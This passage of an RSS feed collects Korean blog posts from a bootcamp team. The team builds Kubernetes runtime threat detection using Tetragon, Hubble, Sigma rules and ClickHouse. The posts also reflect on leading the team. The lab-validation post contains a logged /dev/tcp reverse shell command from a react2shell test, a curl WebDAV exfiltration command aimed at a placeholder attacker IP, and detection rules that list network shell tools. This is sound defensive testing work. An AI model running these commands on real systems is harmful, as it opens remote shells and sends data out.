<p>상세 실행 이력을 확인한 결과 공격자는 <code>id</code> 명령으로 RCE 성공을 확인한 뒤 <code>ping</code>으로 외부 통신 가능 여부를 점검했으며, 이후 <code>uname</code>, <code>cat /etc/os-release</code>, <code>ip addr</code>, <code>netstat/ss</code> 등 시스템·네트워크 정찰 명령을 연속 수행했습니다. 또한 <code>/etc/passwd</code>, <code>/etc/shadow</code> 접근 시도가 확인되어 권한 정보 접근 가능성을 탐색한 정황이 관측되었습니다.
마지막으로 <code>nohup</code>과 <code>/dev/tcp</code>를 이용한 리버스 쉘 형태의 명령 실행이 나타나면서 지속적인 제어 채널 확보 단계까지 이어졌습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - Week 19]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-Week-19</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-Week-19</guid>
            <pubDate>Tue, 27 Jan 2026 13:50:35 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>이번주는 프로젝트 진행에 있어서 답답함을 느끼던 부분을 해결한 한 주였던거 같다. 그와 동시에 나 자신에 대해 많은 생각을 했던 한 주였다. 우리 프로젝트 팀장으로서 내가 잘했을까? 이런 생각을 많이 했던거 같다.
암튼 이번주 TIL도 있었던 일들과 수행했던 작업들을 정리 해보겠다.</p>
<hr>
<blockquote>
<h3 id="프로젝트-수행일지">프로젝트 수행일지</h3>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/9976a784-6087-4fb6-a8bb-3e58ea6ae96b/image.png" alt=""> 프로젝트에 대해 궁금하다면 <a href="https://velog.io/@_sychoii/series/Toss-Team-ForenSeek">이 시리즈</a>를 읽어 보세요!</p>
</blockquote>
<h2 id="프로젝트-deadlock">프로젝트 Deadlock</h2>
<p>우리 프로젝트의 핵심은 탐지 고도화이다. 따라서 우리는 <strong>Tetragon</strong>을 활용하여 런타임 환경에서 행위 기반 탐지를 하고 이 탐지 결과에 대해 시그마 룰을 활용한 지식 기반 탐지를 하여 각 탐지 기법이 갖는 단점을 서로 보완하여 탐지 Hole을 최소화 시키는 것을 목표로 했다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/49ef6e4b-5b0e-4dd5-b05a-f8eedcaf1fdf/image.png" alt=""></p>
<p>시그마 룰은 <strong>ECS(Elastic Common Schema)</strong> 포맷을 따라 설계되어 있다. 하지만 우리가 사용하는 Tetragon이 남기는 로그는 ECS 포맷이 아니기 때문에 로그 타입을 새롭게 정의하여 룰이 가리키는 <strong>Condition</strong>을 우리 로그 포맷에 맞게 진행 해주는 작업이 필요했다.
이런 과정을 거쳐 Open Search 대시보드에서 지원하는 Detector에 룰을 설정을 하면 Tetragon이 남긴 로그를 룰과 비교하여 위협 행위를 탐지하는 식으로 동작한다.</p>
<p><strong>Sigma Rule</strong> 도입 제안과 설계를 내가 했기 때문에 내가 이 작업을 맡아 진행을 할까 했지만 <strong>Correlation</strong> 분석 설계와 우리 프로젝트에서 활용할 공격 시나리오 검증 등 내가 더 힘을 실어서 진행해야 할 Task들이 많았고 반복적인 작업에 가까웠기 때문에 다른 팀원들에게 이 작업을 맡기게 되었다.</p>
<p>공격 시나리오 정리 -&gt; Detector 설정 -&gt; 공격 수행 -&gt; 탐지 결과 정리 -&gt; 분석 
이 작업들이 연속적이기 때문에 선행 단계가 완료가 되어야 후속 작업들을 할 수 있었다.
프로젝트 준비 과정에서 MCP 설계라던지 어떤 공격을 수행할 수 있는지 등 정리 해놓았기 때문에 공격 시나리오를 하루만에 끝내고 주말동안 최대한 시그마 룰 작업을 끝낼 수 있게 시간 확보를 해주고자 밤을 세워서 다음날 점심즈음에 작업을 마무리해서 넘겼다.</p>
<p>근데 주말 이틀 간 마무리하기로 한 시그마 룰 작업이 끝나지 않았고 원인조차 명확히 파악을 못하고 있는 상황이 발생했다. 사실 이해가 가지 않았다. 이 작업을 위해 로그 정규화도 이미 진행한 상태여서 데이터 소스에는 문제가 전혀 없었을텐데 .. 사실 완수를 하지 못했다라는 점보다 원인 파악을 명확히 하지 못했다는 점에서 화가 났던거 같다.</p>
<p>다음날 와서 회의를 진행하는데 담당 팀원들이 원인을 명확히 파악하지 못하고 있는 상태였다. 희수가 안될리가 없다며 바로 조금 만져봤는데 된다고 한다. 정확히 Alert가 발생한 것까지 확인한 것이다. 그리고 내가 룰 필드 매핑한 것을 봤는데 같은 값을 서로 다른 필드로 참조하고 있는 것을 확인했다.
이에 대해서 왜 이렇게 설정을 한 거냐고 물어봤지만 명확한 답변을 얻지 못했다. 이런 과정에서 담당 팀원들의 감정이 조금 상한게 보였다.</p>
<p>룰 양이 180개가 넘어가다 보니 힘든건 이해한다만 내 입장에서는 프로젝트를 이끌어 가야하고 내가 한 질문에 대해 명확하게 답변을 못 받았고, 개개인의 능력 차이는 당연히 존재하겠지만 한 사람이 조금 만져서 해결된 일을 이렇게까지 끌고 갈 일인가? 싶었다.</p>
<hr>
<h2 id="결단">결단</h2>
<p>시그마 룰이 끝나기까지 마냥 기다릴 수는 없었기에 후속 작업들을 끌고와서 진행하기로 했다. 일단 우리 프로젝트에서 탐지 고도화 부분은 검증을 해야 알 수 있었고, 방법론적인 측면에서 더이상 뭘 추가하거나 그럴 이유가 없었기에 분석에 집중을 하기로 했다.
근데 우리 프로젝트에서 분석에 대한 수준이 너무 낮은듯한 생각이 들었다. 그래서 희수랑 민송이랑 이에 대한 주제로 한 1시간 ~ 2시간 가량 토론?을 했던거 같다.
결론은 분석을 고도화 하기 위한 추가적인 수단이 필요하다는 것이었다. 그래서 각자 분석을 어떻게 고도화 시킬 것인가에 대해 방법론적으로 설계를 해오자는 것이었다.</p>
<p>나는 <strong>Risk Score</strong> 도입을 설계를 했다. <strong>Open Search Security Analytics</strong>에서 제공하는 <strong>Correlation Engine</strong>은 <strong>Detector</strong>가 잡아낸 결과를 통해 동작한다. 즉, <strong>Rule Based Detection</strong>의 결과를 상관분석을 하는 것이기 때문에 <strong>Anomaly Detection</strong> 결과를 반영하지 못 한다고 생각하면 되고 이렇게 해서 분석을 끝내면 우리 프로젝트에서 분석의 깊이가 너무 얕다는 판단이 들었다.</p>
<p>그렇다면 외부에서 상관분석을 해야할까? 이는 의미가 없다고 생각했다. 이미 설정한 Detection Rule에 의해 탐지된 시스템, 네트워크 로그를 상관분석이 이루어지기 때문에 상관 분석을 외부에서 추가로 진행하는 것은 분석 고도화 측면에서 설득력이 없다고 생각했다.</p>
<p>정리 해보면 Rule Based, Anomaly(Baseline Based), Behavior Based Detection에 의해 탐지된 결과와 상관분석 결과를 가지고 다른 분석 기법을 통해 분석을 진행하는 것이 분석 고도화에 부합하고, 상관분석은 Security Analytics에서 지원하는 기능을 하는 것으로 마무리 짓는 것이 맞다는 판단을 해서 <strong>Risk Score를 이용한 정량적 위협 모델링</strong>을 설계하기 시작했다.</p>
<hr>
<h2 id="risk-score를-이용한-정량적-위협-모델링">Risk Score를 이용한 정량적 위협 모델링</h2>
<p>우선 <strong>Risk Score</strong>에 대한 정의를 내릴 필요가 있었다. 먼저 생각한건 우리 프로젝트의 탐지 결과에서 정량적인 지표로 뽑을 수 있는게 무엇일까?라는 생각을 했다. 그리고 상관 분석 결과를 이와 어떻게 결합할지를 생각 해봤다.</p>
<h3 id="지표화">지표화</h3>
<p>지표화 단계에서는 <strong>“각 탐지 레이어 별 탐지 결과” + “상관 분석 결과”</strong>를 Input으로 사용한다.</p>
<ul>
<li><strong>Rule Based Detection</strong>에서 지표<ul>
<li>탐지 된 규칙에 대한 Rule Severity</li>
</ul>
</li>
<li><strong>Baseline Based Detection</strong>에서 지표<ul>
<li>Anomaly Grade (평소와 얼마나 다른가)</li>
<li>Confidence (그 판단이 얼마나 신뢰성을 갖는가)</li>
</ul>
</li>
<li><strong>Behavior Based Detection</strong>에서 지표<ul>
<li>실행 Process 정보 (기준을 정하여 수치로 환산)</li>
<li>실행 Process의 부모 프로세스 정보 (기준을 정하여 수치로 환산)</li>
</ul>
</li>
<li><strong>Cohesion(응집도)</strong> 지표<ul>
<li>동일한 pod_name 또는 container_id에서 발생 여부</li>
<li>각 탐지 레이어에서 설정한 Timewindow(1분 ~ 5분)내에 이벤트들이 밀집해 있는지 여부</li>
</ul>
</li>
<li><strong>Correlation Result</strong>에서 지표<ul>
<li>상관 관계의 강도</li>
</ul>
</li>
</ul>
<p>정리를 해보니 이렇게 지표화 할 수 있는 것을 뽑을 수 있었고, 정말 간단히 이에 대한 수식을 다음과 같이 세워봤다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b5ffc504-1ba6-425c-8582-72ca54753a93/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/ef9ca449-e2d0-4285-b75d-a87bd427749c/image.png" alt=""></p>
<p>시그마 룰에 부여된 Severity Score와 이상 탐지 결과와 신뢰도의 곱과 실행 프로세스 정보를 수치로 환산한 값을 모두 더하고 이를 응집도를 곱한 수식이다.
우선 이렇게 러프하게 설계해서 팀원들한테 공유를 했고, 대부분 긍정적인 반응이었지만 이 지표에 대한 신뢰성 문제, 가중치 설정, 수식 구체화 과정에서 사용하는 알고리즘 등 남은 기간동안 논리적 결핍없이 완수할 수 있을까?라는 의문은 풀리지 않았다.
그래서 시각화 단계에서 보조 도구로서 활용을 할까도 생각했지만 오히려 우리 프로젝트에서 마이너스 요소로 작동할 수도 있다는 생각이 풀리지 않아 폐기했다.</p>
<h3 id="stride">STRIDE</h3>
<p>공격 행위를 여섯가지 범주로 나눈 모델이다. 해당 위협 모델을 통해 얻을 수 있는 것은 어떤 유형의 공격이 일어났는지를 범주화 할 수 있다.</p>
<ul>
<li>Spoofing
무단 액세스를 위해 다른 사용자 또는 시스템 구성 요소를 사칭하는 것을 의미한다.
스푸핑 공격은 인증 메커니즘을 손상시켜 공격자가 합법적인 사용자 또는 장치로 가장할 수 있도록한다.</li>
<li>Tampering
변조는 데이터 또는 코드의 무단 변경을 의미한다. 실행 중인 애플리케이션의 파일, 데이터베이스, 소프트웨어 코드, 배포 파이프라인 또는 메모리를 수정하여 데이터 무결성을 저하 시키는 공격이 이에 해당한다.</li>
<li>Repudiation
사용자가 특정 활동(데이터 삭제, 설정 변경, 권한 오용 등)을 수행한 후, 이를 입증할 증거가 없음을 악용하는 공격이다. 로그 삭제와 같은 공격이 이에 해당한다.</li>
<li>Information disclosure
권한이 없는 사용자나 프로세스가 보호되어야 할 민감한 정보에 접근하여 읽게 되는 위협을 의미한다. 파일 및 데이터 유출과 같은 공격이 이에 해당한다.</li>
<li>Denial of service
과도한 요청으로 시스템을 압도하거나 시스템 취약점을 악용하여 서비스의 가용성을 저해하는 것을 목표로 하는 공격이 이에 해당한다.</li>
<li>Elevation Of Privilege
공격자가 시스템 취약점을 악용하여 권한 상승을 하는 것을 의미한다. 컨테이너 탈출과 같은 공격이 이에 해당한다.</li>
</ul>
<p>원래 STRIDE와 Risk Score를 결합하려고 했는데, Risk Score가 우리 프로젝트에서 폐지되면서 STRIDE는 Detector 분리 작업에 사용하게 됐다.</p>
<hr>
<h2 id="click-house-도입">Click House 도입</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/2f133455-54f6-456c-a06e-c4e66c194e7a/image.jpg" alt=""></p>
<p>이건 희수가 찾아왔고 결론적으로 우리 프로젝트에 결핍으로 작용했던 분석의 깊이가 얕다는 점을 완벽하게 메워줘서 한층 풍성해진 결과를 얻어낼 수 있었다.</p>
<p><strong>ClickHouse</strong>는 대규모 데이터의 실시간 분석을 위해 설계된 <strong>열 지향(Column-oriented)</strong> 분산 데이터베이스 관리 시스템이다. 데이터를 행이 아닌 <strong>열 단위로 저장</strong>하여, 특정 컬럼에 대한 <strong>집계 작업(SUM, AVG 등)</strong> 속도가 매우 빠르고 압축 효율이 높다는 특징을 가지고 있고 CPU의 SIMD 지침을 활용하여 데이터를 한 번에 대량으로 처리함으로써 압도적인 쿼리 성능을 제공한다고 한다.</p>
<p><strong>Toss, kakao</strong> 등 큰 기업들에서도 많이 사용하는 도구로 알려져 있어 검증이 된 도구라는 생각이 들었다. 희수가 데모를 진행해서 결과를 가지고 왔는데 정말 충격적(Positive)이었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/587ab9a9-2a35-4567-a239-1b501f191a86/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/292ce946-fbd0-4264-a400-a31f177e0a89/image.png" alt=""></p>
<p>위 두 사진은 Click House를 이용해서 탐지 결과를 분석한 것이다. 결과를 보면 Tetragon이 가지는 가장 강력한 기능중 하나인 프로세스 계보 추적의 결과가 그대로 녹아져 있고, 허블 로그를 활용한 네트워크 분석 결과도 시각적으로 훌륭하게 나왔다.</p>
<p>우리 프로젝트의 퀄리티가 한층 더 업그레이드 된 순간이었던거 같다. 사실 나는 어떤 도구를 추가적으로 도입하기 보단 방법론적으로 설계해서 진행 해야한다고 생각했는데 잘못 생각했던거 같다. 암튼 우리는 이 도구를 사용하기로 결정했고, 이를 활용해서 탐지 결과를 분석하고 결과물에 대한 가시성을 좋게 만들기 위해 작업중에 있다.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>처음에 말했듯이 프로젝트 팀장으로서 내가 잘하고 있을까?라는 의문은 이번주에 있었던 문제를 해결 해나가는 과정을 돌이켜 봤을 때 잘못된 판단을 했다는 생각과 함께 증폭했던거 같다. 사람의 성향에 맞춰 대응을 할 것인가 온전히 일적으로 팀에 도움이 되는 방향으로 대응을 할 것인가 항상 고민이었다.</p>
<p>시그마 룰을 담당한 팀원들의 성향은 MBTI로 따지면 F 성향이 강하다고 생각한다. 그래서 팀 전체적으로 봤을 때 온전히 일적으로 어떤 결정을 내리기엔 감정이 상한다던가 그런 이슈가 발생해서 빨리 진행해야 한다라던지 그런 내용을 전달할 시 해당 팀원들의 일적인 효율이 떨어진다라는 판단을 했다. 그래서 기다리기로 했고, 진행상황만 정기적으로 물어보며 상황을 체크했다.</p>
<p>모든 결정에는 Trade Off가 있다. 역시 이 판단에도 존재한다. 그렇게 일정이 지연될 경우 다른 팀원들과 내가 그 무게를 견뎌야 했기 때문에 남은 사람들의 부담이 가중된다. 또, 다른 팀원들이 이에 답답함을 많이 느낀다는걸 체감했다.
뭐가 맞는 판단이었을까? 사실 잘 모르겠다. 그당시 내가 할 수 있었던 두 가지 판단 중 다른 판단을 했다고 해서 더 좋은 결과를 가져올 수 있다는 확신도 없고 더 안좋은 결과를 가져올 수 있다는 확신도 없다.</p>
<p>머리는 아프지만 이런거 또한 배움의 과정인거 같다. 프로젝트 진행하면서 기술적인 성장도 당연히 있겠지만 팀장으로서 어떤 의사결정을 위한 고민들, 팀원들을 대하는 태도 등 팀장을 하지 않았다면 할 수 있었던 고민들은 아니니 좋은쪽으로 생각하려고 한다. 실수하면서 실패하면서 다 배우는거 같다.
나의 판단의 상처 받거나 답답함을 느끼는 모두에게 미안하지만 프로젝트가 잘 됐으면 하는 마음을 팀원들이 느끼게 하면 용서? 받을 수 있지 않을까ㅋㅋㅋㅋㅋ하는 생각이다.
뭐 근데 그렇다고 해서 이해를 바라거나 그러진 않는다. 나도 워낙 결과론적인 사람이라.. 결과로 증명하자.</p>
<p>이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프 프로젝트 수행일지 Week 6]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-6</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-6</guid>
            <pubDate>Sun, 25 Jan 2026 07:45:29 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/_sychoii/post/ec532a91-afb4-4b71-8385-2a2372df9749/image.png" alt=""></p>
<p>이번 6주차에는 지난 주 탐지 고도화를 위해 도입했던 Sigma Rule 수정 검토 및 검증과 본 프로젝트에서 상관분석을 고도화 하기 위해 <strong>ClickHouse</strong>를 도입했습니다.</p>
<hr>
<h2 id="sigma-rule-검증">Sigma Rule 검증</h2>
<p><strong>Sigma Rule</strong>의 공격 행위 탐지 여부를 확인함과 동시에 발생하는 여러 노이즈들에 대한 <strong>Alert</strong>를 파악하여 오탐을 줄이는 것에 초점을 두었습니다. 런타임 환경에서 <strong>Tetragon</strong>의 탐지 이벤트 로그를 <strong>Sigma Rule</strong> 적용을 위해 정규화하고 설계한 공격 시나리오를 통해 검증을 진행했습니다. <strong>Hubble</strong> 가시성 정책에 의해 탐지된 네트워크 이벤트도 같은 방식으로 검증을 진행했습니다.</p>
<h3 id="system-rule">System Rule</h3>
<p>Sigma Rule 검증 과정을 예시를 통해 설명하겠습니다.</p>
<h4 id="ex-masquerading-as-linux-crond-process">ex. Masquerading as Linux Crond Process</h4>
<pre><code class="language-yaml">id: u-AF3psBVI_0cR5Ed8gE
logsource:
  product: tl-test
title: Masquerading as Linux Crond Process
description: |
  쉘 바이너리를 crond 이름으로 위장하여 복사하는 행위를 탐지합니다.
tags:
  - attack.defense_evasion
  - attack.t1036.003
falsepositives: []
level: medium
status: test
references:
  - &gt;-
    https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process
author: Timur Zinniatullin, oscd.community
detection:
  selection_cp:
    event.process.executable|endswith: /cp
  selection_src:
    event.process.arguments|contains: /bin/sh
  selection_dst:
    event.process.arguments|endswith: /crond
  condition: selection_cp and selection_src and selection_dst</code></pre>
<p>해당 rule은 Shell 바이너리를 crond 이름으로 위장하여 복사하는 행위를 탐지하는 것입니다. 따라서 <code>/bin/sh</code>를 <code>/tmp/crond</code>로 복사하는 행위를 통해 이를 검증했습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b1aef33d-85ad-4886-a8a2-835e5fdea0d0/image.png" alt=""></p>
<pre><code class="language-bash">cp /bin/sh /tmp/crond</code></pre>
<ul>
<li><p>Alert 확인
<img src="https://velog.velcdn.com/images/_sychoii/post/edf5c85d-e4df-4114-8e1d-10e2692ce21a/image.png" alt=""></p>
</li>
<li><p>탐지된 Tetragon 로그
정규화를 통해 생성한 event 필드를 보겠습니다.</p>
<pre><code class="language-json">&quot;event&quot;: {
  &quot;kubernetes&quot;: {
    &quot;namespace&quot;: &quot;service-server&quot;,
    &quot;pod_name&quot;: &quot;net-debug-pod&quot;
  },
  &quot;process&quot;: {
    &quot;uid&quot;: 0,
    &quot;parent_executable&quot;: &quot;/usr/bin/bash&quot;,
    &quot;arguments&quot;: &quot;/bin/sh /tmp/crond&quot;,
    &quot;pid&quot;: 10172,
    &quot;parent_arguments&quot;: &quot;-i&quot;,
    &quot;executable&quot;: &quot;/usr/bin/cp&quot;
  }</code></pre>
<p><code>event.process.executable</code> 필드의 끝 값이 <code>/cp</code> 이고, <code>event.process.arguments</code>가 <code>/bin/sh</code>이면서 <code>/crond</code>로 끝나는 경우 탐지가 되도록 설계 했습니다. 모든 조건을 만족하기 때문에 탐지가 됐음을 확인했습니다.</p>
</li>
</ul>
<h4 id="ex-suspicious-react-server-child-process">ex. Suspicious React Server Child Process</h4>
<p>react2shell 취약점에 대한 Detection Rule이 Elastic Search 공식 문서에 등재된 것을 확인했습니다. 본 프로젝트에서 모의 공격 시나리오 중 초기 침투 과정에서 react2shell 공격을 활용하고 있기 때문에 추가 검증 후 도입했습니다.</p>
<pre><code class="language-yaml">id: &#39;&#39;
logsource:
  product: tl
title: Suspicious  React Server Child Process
description: React2Shell
tags:
  - attack.execution
  - attack.t1059.004
  - attack.persistence
falsepositives:
  - Administrative debugging (kubectl exec)
  - Build scripts (npm install) running in non-production environments
level: high
status: experimental
references:
  - https://github.com/tetratelabs/tetragon
  - https://attack.mitre.org/techniques/T1059/004/
  - https://www.elastic.co/guide/en/security/current/suspicious-react-server-child-process.html
author: ForenSeek
detection:
  condition: &gt;-
    (selection_child_tools or selection_script_payloads) and
    selection_parent_name and selection_parent_args and not 1 of filter_*
  selection_child_tools:
    event.process.executable|endswith:
      - /sh
      - /bash
      - /zsh
      - /dash
      - /curl
      - /wget
      - /id
      - /whoami
      - /uname
      - /cat
      - /nc
      - /ncat
      - /netcat
      - /socat
      - /busybox
      - /mkfifo
      - /nohup
      - /setsid
      - /xterm
      - /java
  selection_script_payloads:
    - event.process.executable|contains: python
    - event.process.arguments|contains:
        - import*pty*spawn
        - import*subprocess*call
    - event.process.executable|contains: node
    - event.process.arguments|contains:
        - spawn*sh
        - connect
    - event.process.executable|contains: perl
    - event.process.arguments|contains: socket
    - event.process.arguments|contains: exec
    - event.process.executable|contains: ruby
    - event.process.arguments|contains:
        - &#39;-rsocket&#39;
        - TCPSocket.new
        - TCPSocket.open
    - event.process.executable|contains: php
    - event.process.arguments|contains: fsockopen
    - event.process.arguments|contains: /bin/sh
    - event.process.executable|contains:
        - awk
        - gawk
        - mawk
        - nawk
    - event.process.arguments|contains: /inet/tcp/
    - event.process.executable|contains:
        - vim
        - rvim
        - vimdiff
        - rview
        - view
    - event.process.arguments|contains: socket
    - event.process.executable|contains: lua
    - event.process.arguments|contains:
        - socket.tcp
        - io.popen
        - os.execute
  selection_parent_name:
    event.process.parent_name|contains:
      - node
      - bun
      - node.exe
      - bun.exe
      - react
  selection_parent_args:
    event.process.parent_arguments|contains:
      - react-dom
      - .next
      - node_modules/next
      - react-server
      - next-server
      - server.js
      - start-server.js
      - bin/next
      - &#39;--experimental-https&#39;
      - app/server
      - .pnpm/next
      - next start
      - next dev
      - react-scripts start
      - next/dist/server
  filter_parent_exe:
    event.process.parent_executable:
      - ./runc
      - /opt/google/chrome/chrome
  filter_git_config:
    - event.process.arguments|contains: git config</code></pre>
<p>react2shell 취약점을 이용한 공격 스크립트를 활용하여 reverse shell을 이용한 침투를 진행했습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/63d23fa1-502f-46f7-91d9-5c6641247cf2/image.png" alt=""></p>
<ul>
<li>탐지된 Tetragon 로그<pre><code>&quot;event&quot;: {
  &quot;kubernetes&quot;: {
    &quot;container_name&quot;: &quot;app&quot;,
    &quot;namespace&quot;: &quot;public-service&quot;,
    &quot;container_id&quot;: &quot;containerd://142d8259f20f1f723d00fcd4ecda58fb6f9d13a80249884dcc585468850cc287&quot;,
    &quot;pod_name&quot;: &quot;web-service-548d6dcdf6-ddgfm&quot;
  },
  &quot;process&quot;: {
    &quot;parent_name&quot;: &quot;docker.io/library/react2shell-vuln:latest&quot;,
    &quot;uid&quot;: 0,
    &quot;parent_executable&quot;: &quot;/usr/local/bin/node&quot;,
    &quot;arguments&quot;: &quot;-c \&quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/192.168.24.164/5555 0&gt;&amp;1 &amp;&#39;\&quot;&quot;,
    &quot;pid&quot;: 151407,
    &quot;parent_arguments&quot;: &quot;/app/node_modules/.bin/next start -p 3443&quot;,
    &quot;executable&quot;: &quot;/bin/sh&quot;
  },
  &quot;policy&quot;: {
    &quot;function&quot;: null,
    &quot;arg&quot;: null,
    &quot;name&quot;: null,
    &quot;action&quot;: null
  }
}</code></pre></li>
</ul>
<p><code>event.process.executable</code>이 <code>/sh</code>로 끝나기 때문에 Sigma Rule에서 detection 부분 중 하나인 <code>selection_script_payloads</code>은 확인하지 않고 넘어갑니다. <code>event.process.parent_name</code>에 <code>react</code>를 가지고 있으며 <code>event.process.parent_arguments</code>에 <code>bin/next</code>를 포함하고 있습니다. 하지만 filter에 해당한 부분을 전부 가지고 있지 않기 때문에 위 공격이 탐지될 수 있었습니다.</p>
<h3 id="network-rule">Network Rule</h3>
<p>Sigma Rule 검증 과정을 예시를 통해 설명하겠습니다.</p>
<h4 id="webdav-put-request">WebDav Put Request</h4>
<pre><code class="language-yaml">id: 546I2psBaBInorBYN92S
logsource:
  product: hl
title: WebDav Put Request
description: &gt;-
  WebDAV 네트워크 공유에 파일을 PUT(업로드)하기 위해 WebDAV User-Agent가 사용되는 것을 탐지합니다. 이는 외부로의 데이터 유출(Exfiltration) 지표일 수 있습니다.
tags:
  - attack.exfiltration
  - attack.t1048.003
falsepositives:
  - Unknown
level: low
status: test
references:
  - https://github.com/OTRF/detection-hackathon-apt29/issues/17
author: &gt;-
  Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Modified for
  Hubble
detection:
  selection:
    flow.l7.http.headers.value|contains: WebDAV
    event.l7.http_method: PUT
  filter:
    event.network.dest_ip|cidr:
      - 10.0.0.0/8
      - 127.0.0.0/8
      - 172.16.0.0/12
      - 192.168.0.0/16
      - 169.254.0.0/16
  condition: selection and not filter</code></pre>
<p>Hubble 검증을 위해 Tetragon과 마찬가지로 리버스 쉘에서 공격을 진행하였습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/4039b538-50f5-4176-9adf-03bb427eb2ed/image.png" alt=""></p>
<pre><code class="language-bash">curl -X PUT -H &quot;User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19041&quot; -d &quot;Exfiltration Test Data&quot; http://&lt;공격자_IP주소&gt;/test_data.txt</code></pre>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6fc5a48e-feed-4a47-81b0-a313b32fcb8f/image.png" alt=""></p>
<ul>
<li>Hubble 가시성 정책에 의해 탐지된 로그<pre><code class="language-json">{
&quot;fluentd_tag&quot;: &quot;kubernetes.hubble&quot;,
&quot;node_name&quot;: &quot;kubernetes/k8s-worker&quot;,
&quot;cilium_container_id&quot;: null,
&quot;@timestamp&quot;: &quot;2026-01-22T09:19:37.330365291+00:00&quot;,
&quot;cilium_pod&quot;: null,
&quot;cilium_namespace&quot;: null,
&quot;event&quot;: {
  &quot;kubernetes&quot;: {
    &quot;namespace&quot;: null,
    &quot;container_id&quot;: null,
    &quot;pod_name&quot;: null
  },
  &quot;l7&quot;: {
    &quot;summary&quot;: &quot;HTTP/1.1 PUT http://172.30.160.1/test_data.txt&quot;,
    &quot;http_method&quot;: &quot;PUT&quot;,
    &quot;dns_query&quot;: null,
    &quot;http_status&quot;: null,
    &quot;type&quot;: &quot;REQUEST&quot;,
    &quot;http_url&quot;: &quot;http://172.30.160.1/test_data.txt&quot;
  },
  &quot;network&quot;: {
    &quot;protocol&quot;: &quot;TCP&quot;,
    &quot;dest_ip&quot;: &quot;172.30.160.1&quot;,
    &quot;action&quot;: &quot;FORWARDED&quot;,
    &quot;dest_port&quot;: 80,
    &quot;source_ip&quot;: &quot;10.244.1.161&quot;
  }
},
&quot;flow&quot;: {
  &quot;IP&quot;: {
    &quot;destination&quot;: &quot;172.30.160.1&quot;,
    &quot;ipVersion&quot;: &quot;IPv4&quot;,
    &quot;source&quot;: &quot;10.244.1.161&quot;
  },
  &quot;l4&quot;: {
    &quot;TCP&quot;: {
      &quot;destination_port&quot;: 80,
      &quot;source_port&quot;: 56984
    }
  },
  &quot;destination&quot;: {
    &quot;identity&quot;: 2,
    &quot;labels&quot;: [
      &quot;reserved:world&quot;
    ]
  },
  &quot;node_name&quot;: &quot;kubernetes/k8s-worker&quot;,
  &quot;source&quot;: {
    &quot;namespace&quot;: &quot;service-server&quot;,
    &quot;cluster_name&quot;: &quot;kubernetes&quot;,
    &quot;ID&quot;: 3735,
    &quot;identity&quot;: 32784,
    &quot;labels&quot;: [
      &quot;k8s:app=net-debug&quot;,
      &quot;k8s:io.cilium.k8s.namespace.labels.kubernetes.io/metadata.name=service-server&quot;,
      &quot;k8s:io.cilium.k8s.policy.cluster=kubernetes&quot;,
      &quot;k8s:io.cilium.k8s.policy.serviceaccount=default&quot;,
      &quot;k8s:io.kubernetes.pod.namespace=service-server&quot;
    ],
    &quot;pod_name&quot;: &quot;net-debug-pod&quot;
  },
  &quot;l7&quot;: {
    &quot;type&quot;: &quot;REQUEST&quot;,
    &quot;http&quot;: {
      &quot;headers&quot;: [
        {
          &quot;value&quot;: &quot;http&quot;,
          &quot;key&quot;: &quot;:scheme&quot;
        },
        {
          &quot;value&quot;: &quot;*/*&quot;,
          &quot;key&quot;: &quot;Accept&quot;
        },
        {
          &quot;value&quot;: &quot;22&quot;,
          &quot;key&quot;: &quot;Content-Length&quot;
        },
        {
          &quot;value&quot;: &quot;application/x-www-form-urlencoded&quot;,
          &quot;key&quot;: &quot;Content-Type&quot;
        },
        {
          &quot;value&quot;: &quot;Microsoft-WebDAV-MiniRedir/10.0.19041&quot;,
          &quot;key&quot;: &quot;User-Agent&quot;
        },
        {
          &quot;value&quot;: &quot;true&quot;,
          &quot;key&quot;: &quot;X-Envoy-Internal&quot;
        },
        {
          &quot;value&quot;: &quot;3e2d77b9-0c42-4bd6-8afc-5f1d6e041b07&quot;,
          &quot;key&quot;: &quot;X-Request-Id&quot;
        }
      ],
      &quot;protocol&quot;: &quot;HTTP/1.1&quot;,
      &quot;method&quot;: &quot;PUT&quot;,
